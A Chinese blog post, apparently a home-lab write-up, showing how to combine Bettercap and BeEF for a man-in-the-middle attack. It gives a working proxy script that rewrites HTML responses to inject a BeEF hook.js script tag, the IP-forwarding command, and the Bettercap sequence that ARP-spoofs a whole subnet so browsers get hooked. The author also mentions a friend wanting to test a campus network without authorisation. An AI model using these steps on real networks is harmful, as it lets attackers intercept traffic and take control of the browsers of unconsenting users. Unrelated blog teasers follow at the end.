MITM中间人攻击-Bettercap + beef xss的组合拳

林尽欢 安全研究 阅读量

0x01 写在前面

好几年没有接触过安全了,为什么又接触回来是因为一位朋友,动了对校园网进行内网和WEB渗透测试的心思,咨询了相关老师并未拿到授权,好吧,自己搭环境找一下感觉。

0x02 Bettercap简介

bettercap是一个功能强大、易于扩展和便携的框架,用Go编写,旨在为安全研究人员、红队队员和逆向工程人员提供一个易于使用的一体化解决方案,其中包含执行侦察和攻击WiFi网络、蓝牙低能耗设备所需的所有功能,无线HID设备和IPv4/IPv6网络。

0x02.1 主要特点

  • WiFi网络扫描、反认证攻击、无客户端PMKID关联攻击和自动WPA/WPA2客户端握手捕获。

  • 蓝牙低能耗设备扫描,特征枚举,读写。

  • 2.4Ghz无线设备扫描和鼠标点击攻击,通过空中HID帧注入(支持DuckyScript)。

  • 被动和主动IP网络主机探测和侦察。

  • ARP、DNS、DHCPv6和NDP欺骗,用于对基于IPv4和IPv6的网络进行MITM攻击。

  • 包级别、TCP级别和HTTP/HTTPS应用程序级别的代理完全可以通过易于实现的javascript插件编写脚本。

  • 一个强大的网络嗅探器,用于获取证书,也可以用作网络协议模糊器。

  • 一个非常快速的端口扫描器。

  • 一个强大的restapi,支持websocket上的异步事件通知,可以轻松组织攻击。

  • 易于使用的web用户界面。

  • 等等...

0x02.2 安装

这里我采用官方文档给的编译安装,KALI自带bettercap。

环境要求

  • go >= 1.8
go get github.com/bettercap/bettercap
cd $GOPATH/src/github.com/bettercap/bettercap
make build
sudo make install

0x02.3 官方模块

0x02.4 使用

好家伙,Bettercap最新版已经带WebUI了,不过还是喜欢命令交互式。

sudo bettercap -caplet http-ui # 运行bettercap

run_bettercap

交互模式下键入help获取帮助信息
bettercap_help

0x03 Beef简介

BeEF是浏览器开发框架的缩写。它是一个专注于web浏览器的渗透测试工具。

随着人们越来越担心针对客户端(包括移动客户端)的网络攻击,BeEF允许专业渗透测试人员使用客户端攻击向量来评估目标环境的实际安全态势。与其他安全框架不同,BeEF超越了加固的网络边界和客户机系统,并在一扇打开的门:web浏览器的上下文中检查可利用性。BeEF将钩住一个或多个web浏览器,并将它们用作启动定向命令模块的滩头阵地,并从浏览器上下文中进一步攻击系统。

0x03.1 安装与运行

git clone https://github.com/beefproject/beef.git # git下载beef源码
cd beef-master
sudo ./install # 执行安装程序
./beef # 运行beef GUI

0x04 组合拳开始!

了解了bettercap和beef的安装和基本使用后,我们进入正文。

0x04.1 思路

使用bettercap进行arp欺骗并注入beef的hook js

0x04.2 bettercap操作

用到的模块:

  • arp.spoof
  • http.proxy
  • https.proxy
  • net.probe

其中http.proxyhttps.proxy模块可以使用javascript文件编写模块脚本,且文件必须至少声明以下函数之一:

// 在加载脚本时调用
function onLoad() {
  log("Script loaded!");
}

//当代理接收到请求时调用
//在发送到真正的服务器之前
function onRequest(req, res) {

}

//当请求被发送到实际服务器时调用
//收到回复
function onResponse(req, res) {

}

//每次键入未知会话命令时调用,
//代理模块可以选择以下方式处理自定义命令:
function onCommand(cmd) {
    if( cmd == "test" ) {
        /*
         * Custom session command logic here.
         */

        // tell the session we handled this command
        return true
    }
}

0x04.3 改写自己的JS脚本

在进行arp欺骗之前,准备工作改写一个JS脚本方便在bettercap使用http(s).proxy.script模块

// 未调用beef的hookjs

function onLoad() {
  log("Script loaded!");
}

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('</head>') != -1 ) {
            res.Body = body.replace( 
                '</head>', 
                '<script type="text/javascript">' + "\n" +
                    AbuserJavascript +
                '</script>' +
                '</head>'
            ); 
        }
    }
}
// 使用beef的hook js
function onLoad() {
  log("Script loaded!");
}

function onResponse(req, res) {
    if( res.ContentType.indexOf('text/html') == 0 ){
        var body = res.ReadBody();
        if( body.indexOf('</head>') != -1 ) {
            res.Body = body.replace( 
                '</head>', 
                '<script src="beef的hookjs地址"></script>' +
                '</head>'
            ); 
        }
    }
}

将以上文本另保存为eval.js

0x04.4 配置bettercap相关模块参数并开启arp欺骗

在此之前先把beef跑起来,并为bettercap开启流量转发

./beef # 进入到beef目录下执行
echo 1 > /proc/sys/net/ipv4/ip_forward # 流量转发,不开流量转发,导致arp欺骗后受害者出现断网现象

run_beef

Hook js url: http://10.211.55.4:3000/hook.js

UI URL: http://127.0.0.1:3000/ui/panel

sudo bettercap -caplet http-ui # 运行bettercap
set http.proxy.script /home/crack/eval.js # 刚刚改写的eval.js文件
http.proxy on # 运行http.proxy模块,此模块只劫持http协议
net.probe on # 激活后,此模块将向当前子网中的每个IP发送不同类型的探测数据包,以便net.recon模块来检测它们
arp.spoof on # 开启arp欺骗模块,默认对全网段主机进行arp欺骗,可以使用set arp.spoof.targets 192.168.1.x,欺骗指定目标之后再arp.spoof on

当靶机打开任意http网站就上钩了 ~可以看到bettercap命令交互界面已经有回显,且靶机也在beef上线了

1619265388786

1619265426374

使用beef的Create Alert Dialog模块测试在线,输入alert text并execute

1619265482145

此时靶机显示如下

1619265505982

0x04.5 遇到的问题

使用bettercap的http.proxy模块时靶机访问正常,而使用https.proxy模块时,靶机浏览器显示不受信任的证书,不予访问,目前还没有想到解决方法。

0x05 最后

beef可玩的姿势还很多,比如beef的Clippy模块加上msf的组合拳,这里不再做扩展,各位看官自行展开脑补。

博客安全类的第一篇水文,下次再见!

喵~
林尽欢
我最不喜欢做选择,但我选择了,就一定不后悔。
Beego学习笔记
Beego学习笔记

Beego介绍 beego是一个快速开发 Go 应用的 HTTP 框架,他可以用来快速开发 API、Web 及后端服务等各种应用,是一个 RESTful 的框架,主要设计灵感来源于 tornado、sinatra 和 flask 这三个框架,但是结合了 Go 本身的一些特性(interface、struct 嵌入等)而设计的一个框架。 目前国内用的比较多的就是beego和gin两个框架,如果项目比较小,个人开发,并且只是用golang来写一些api接口的话,gin是不错的选择,如果是团队开发或者不仅要用golang写api,还要用golang写web后端,并且注重代码质量的话建议使用beego。 Feature特性 MVC REST 智能路由 日志调试 配置管理 模板自动渲染 layout设计 中间件插入逻辑 方便的JSON/XML服务 Beego脚手架安装 bee脚手架 go get github.

9 分钟阅读
随便写写
随便写写

近期 说实话,过得真拧巴,自己不是满意的自己,生活也不是理想中的生活,一切的不如意,都快成了压倒自己的最后一根稻草,现在的状态就是一眼望到头的生活。 2021原来已经来到3月份了呢,而我依旧一事无成,每晚焦虑失眠到崩溃,好似于地狱人间折返。 学习 java已经打好了基础,做了不少的笔记,俗话说好记性不如烂笔头,再者自己的记忆力确实是下降了,基础之后接下来就是javaweb了,主要是以掌握SPRINGBOOT为小目标。2月26日四级成绩也出了,一次过挺好,虽然不是自己想要的成绩(裸考),不过把六级考好,四级成绩好不好也无所谓了。插本的想法一直根深蒂固,争取插本上岸,考取八级。 生活 老实说,真的有点撑不下去。没什么说的了。 生活可能不是你想象的那么好, 但也不是你想象中的那么糟, 人的脆弱和坚强都超乎自己的想象。 有时候可能脆弱得一句话就泪流满面, 有时候你发现自己咬牙 已经走过了很长的路。 仅以此段激励自己,想到什么再补充吧。 工作 一如既往的不稳定,其实项目越多越好,累垮身体也无所谓。不过最近好像上天给我的机会来了,希望我好好把握。 In The End 我始终相信,

2 分钟阅读